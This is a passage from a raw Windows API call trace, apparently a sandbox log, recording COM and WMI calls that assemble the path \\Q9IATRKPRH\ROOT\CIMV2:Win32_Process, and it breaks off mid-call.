Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bcc43a0) returned 0x0 [0160.915] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc43a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0160.915] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc43a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0be50) returned 0x0 [0160.915] WbemDefPath:IUnknown:Release (This=0x1bcc43a0) returned 0x0 [0160.915] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0be50, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0be50) returned 0x0 [0160.915] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0be50, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0160.916] WbemDefPath:IUnknown:AddRef (This=0x1aa0be50) returned 0x3 [0160.916] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0be50, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0160.916] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0be50, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0160.916] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0be50, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bcc4360) returned 0x0 [0160.916] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4360, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0160.916] WbemDefPath:IUnknown:Release (This=0x1bcc4360) returned 0x3 [0160.916] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0160.916] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0160.916] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0be50, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0160.916] WbemDefPath:IUnknown:Release (This=0x1aa0be50) returned 0x2 [0160.916] WbemDefPath:IUnknown:Release (This=0x1aa0be50) returned 0x1 [0160.916] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0160.916] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0160.916] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0be50, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0be50) returned 0x0 [0160.916] WbemDefPath:IUnknown:AddRef (This=0x1aa0be50) returned 0x3 [0160.916] WbemDefPath:IUnknown:Release (This=0x1aa0be50) returned 0x2 [0160.916] WbemDefPath:IWbemPath:SetText (This=0x1aa0be50, uMode=0x4, pszPath="") returned 0x0 [0160.917] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0be50, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0160.917] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bfd0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0160.917] WbemDefPath:IWbemPath:GetClassName (in: This=0x1aa0be50, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0160.917] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0be50, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0160.917] WbemDefPath:IWbemPath:SetServer (This=0x1aa0be50, Name="Q9IATRKPRH") returned 0x0 [0160.917] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0160.917] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0160.917] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0160.917] IUnknown:Release (This=0x1a943398) returned 0x1 [0160.918] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bcc42a0) returned 0x0 [0160.919] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc42a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0160.919] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc42a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0b910) returned 0x0 [0160.919] WbemDefPath:IUnknown:Release (This=0x1bcc42a0) returned 0x0 [0160.919] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b910, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0b910) returned 0x0 [0160.919] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b910, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0160.919] WbemDefPath:IUnknown:AddRef (This=0x1aa0b910) returned 0x3 [0160.919] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b910, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0160.919] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b910, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0160.919] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b910, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bcc4420) returned 0x0 [0160.919] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4420, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0160.919] WbemDefPath:IUnknown:Release (This=0x1bcc4420) returned 0x3 [0160.919] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0160.919] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0160.919] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b910, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0160.920] WbemDefPath:IUnknown:Release (This=0x1aa0b910) returned 0x2 [0160.920] WbemDefPath:IUnknown:Release (This=0x1aa0b910) returned 0x1 [0160.920] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0160.920] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0160.920] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b910, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0b910) returned 0x0 [0160.920] WbemDefPath:IUnknown:AddRef (This=0x1aa0b910) returned 0x3 [0160.920] WbemDefPath:IUnknown:Release (This=0x1aa0b910) returned 0x2 [0160.920] WbemDefPath:IWbemPath:SetText (This=0x1aa0b910, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0160.920] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0be50, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0160.920] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b910, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0160.920] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b910, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0160.920] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b910, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0160.920] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1aa0be50) returned 0x0 [0160.920] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b910, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0160.920] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b910, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0160.920] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b910, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0160.920] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0be50, uIndex=0x0, pszName="ROOT") returned 0x0 [0160.920] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b910, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0160.920] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b910, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0160.920] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0be50, uIndex=0x1, pszName="CIMV2") returned 0x0 [0160.920] WbemDefPath:IWbemPath:GetClassName (in: This=0x1aa0be50, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0160.920] WbemDefPath:IWbemPath:SetClassName (This=0x1aa0be50, Name="Win32_Process") returned 0x0 [0160.920] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0be50, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0160.920] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0be50, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0160.920] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0be50, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0160.920] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0be50, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0160.920] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0be50, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0160.921] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0be50, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0160.921] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0be50, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0160.921] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0be50, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0160.921] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0c090, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0160.921] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c090, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0160.921] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c090, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0160.921] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0be50, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0160.921] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0be50, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0160.921] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0160.921] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0160.921] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0160.921] IUnknown:Release (This=0x1a943398) returned 0x1 [0160.928] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bcc3cc0) returned 0x0 [0160.928] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc3cc0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0160.928] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc3cc0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1aa0bd90) returned 0x0 [0160.928] WbemDefPath:IUnknown:Release (This=0x1bcc3cc0) returned 0x0 [0160.928] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bd90, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1aa0bd90) returned 0x0 [0160.928] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bd90, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0160.929] WbemDefPath:IUnknown:AddRef (This=0x1aa0bd90) returned 0x3 [0160.929] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bd90, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0160.929] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bd90, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0160.929] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bd90, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bcc3ca0) returned 0x0 [0160.929] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc3ca0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0160.929] WbemDefPath:IUnknown:Release (This=0x1bcc3ca0) returned 0x3 [0160.929] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0160.929] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0160.929] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bd90, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0160.929] WbemDefPath:IUnknown:Release (This=0x1aa0bd90) returned 0x2 [0160.929] WbemDefPath:IUnknown:Release (This=0x1aa0bd90) returned 0x1 [0160.929] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0160.929] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0160.929] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bd90, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1aa0bd90) returned 0x0 [0160.929] WbemDefPath:IUnknown:AddRef (This=0x1aa0bd90) returned 0x3 [0160.929] WbemDefPath:IUnknown:Release (This=0x1aa0bd90) returned 0x2 [0160.929] WbemDefPath:IWbemPath:SetText (This=0x1aa0bd90, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0160.929] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0c090, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0160.929] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c090, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0160.929] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c090, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.930] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0160.930] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0160.930] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0160.930] IUnknown:Release (This=0x1a943398) returned 0x1 [0160.931] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bcc3c60) returned 0x0 [0160.932] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc3c60, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0160.932] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc3c60, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0bc10) returned 0x0 [0160.932] WbemDefPath:IUnknown:Release (This=0x1bcc3c60) returned 0x0 [0160.932] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bc10, 